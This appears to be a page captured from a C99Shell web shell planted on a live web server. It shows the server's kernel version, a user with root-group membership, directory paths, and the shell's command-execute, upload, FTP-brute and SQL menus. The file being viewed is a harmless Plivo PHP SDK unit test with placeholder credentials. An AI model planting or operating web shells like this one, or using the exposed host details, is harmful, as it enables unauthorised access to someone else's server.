!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/tests/Resources/   drwxr-xr-x
Free 29.18 GB of 117.98 GB (24.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EndpointTest.php (2.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Resources;


use 
Plivo\Http\PlivoRequest;
use 
Plivo\Http\PlivoResponse;
use 
Plivo\Tests\BaseTestCase;

/**
 * Class EndpointTest
 * @package Resources
 */
class EndpointTest extends BaseTestCase
{
    function 
testEndpointCreate()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Endpoint/',
            [
                
"username" => "carter",
                
"password" => "retrac",
                
"alias" => "mario"
            
]);
        
$body file_get_contents(__DIR__ '/../Mocks/endpointCreateResponse.json');

        
$this->mock(new PlivoResponse($request,201$body));

        
$actual $this->client->endpoints->create(
            
"carter""retrac""mario"
        
);

        
$this->assertRequest($request);

        
self::assertNotNull($actual);
    }

    function 
testEndpointGet()
    {
        
$endpoint "lalalala";
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Endpoint/' $endpoint '/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/endpointGetResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->endpoints->get($endpoint);

        
$this->assertRequest($request);

        
self::assertNotNull($actual);
    }

    function 
testEndpointList()
    {
        
$request = new PlivoRequest(
            
'Get',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Endpoint/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/endpointListResponse.json');

        
$this->mock(new PlivoResponse($request,202$body));

        
$actual $this->client->endpoints->list;

        
$this->assertRequest($request);

        
self::assertNotNull($actual);
    }

    function 
testEndpointUpdate()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Endpoint/carter/',
            [
                
"alias" => "hahaha"
            
]);
        
$body file_get_contents(__DIR__ '/../Mocks/endpointUpdateResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->endpoints->update(
            
"carter", ['alias' => 'hahaha']);

        
$this->assertRequest($request);

        
self::assertNotNull($actual);
    }
    
    function 
testEndpointDelete()
    {
        
$request = new PlivoRequest(
            
'DELETE',
            
'Account/MAXXXXXXXXXXXXXXXXXX/Endpoint/cxcxcx/',
            []);
        
$body '{}';
        
        
$this->mock(new PlivoResponse($request,200$body));
        
        
$actual $this->client->endpoints->delete("cxcxcx");
        
        
$this->assertRequest($request);
        
        
self::assertNull($actual);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--